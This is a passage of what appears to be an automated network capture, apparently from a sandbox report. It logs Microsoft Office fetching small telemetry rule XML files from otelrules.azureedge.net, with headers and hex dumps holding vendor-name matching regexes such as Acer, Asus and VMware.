2024-11-21 21:10:10 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:09 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:10 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 561f43d7-f01e-0096-2f75-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211010Z-178bfbc474bv587zhC1NYCny5w00000001ug00000000sks8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:10 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:09 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:10 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211010Z-178bfbc474bh5zbqhC1NYCkdug0000000200000000006mqr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:10 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:09 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:10 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 4e7b5ce8-701e-0098-117a-3b395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211010Z-178bfbc474bv587zhC1NYCny5w00000001t0000000010k3g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:10 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:09 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:10 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a73177f1-001e-0046-422e-3cda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211010Z-178bfbc474bvjk8shC1NYC83ns00000001y0000000003ecv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:10 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:11 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:12 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 3c827ba2-d01e-0014-367c-3bed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211012Z-178bfbc474bw8bwphC1NYC38b400000001vg00000000e36r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:12 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:11 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:12 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:12 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 686dd03c-b01e-005c-4d47-3c4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211012Z-15b8b599d885ffrhhC1TEBtuv000000000h0000000007hnb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:10:12 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:12 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:12 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 9bf3f441-f01e-003f-246b-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211012Z-178bfbc474bp8mkvhC1NYCzqnn00000001u000000000r58t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:12 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:12 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:12 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bb18f6-501e-000a-54a9-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211012Z-1777c6cb754lv4cqhC1TEB13us0000000bg0000000011za8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:12 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:12 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:12 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 8189730a-201e-0003-216a-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211012Z-178bfbc474bp8mkvhC1NYCzqnn00000001tg00000000szx7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:12 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:14 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:14 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 4eee1f4b-001e-0046-44b2-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211014Z-r1d97b99577dd2gchC1TEBz5ys0000000at000000000827x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:14 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:14 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:14 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 966fc1d3-801e-008c-60ca-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211014Z-r1d97b99577ndm4rhC1TEBf0ps0000000azg00000000hfuh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:14 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:14 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
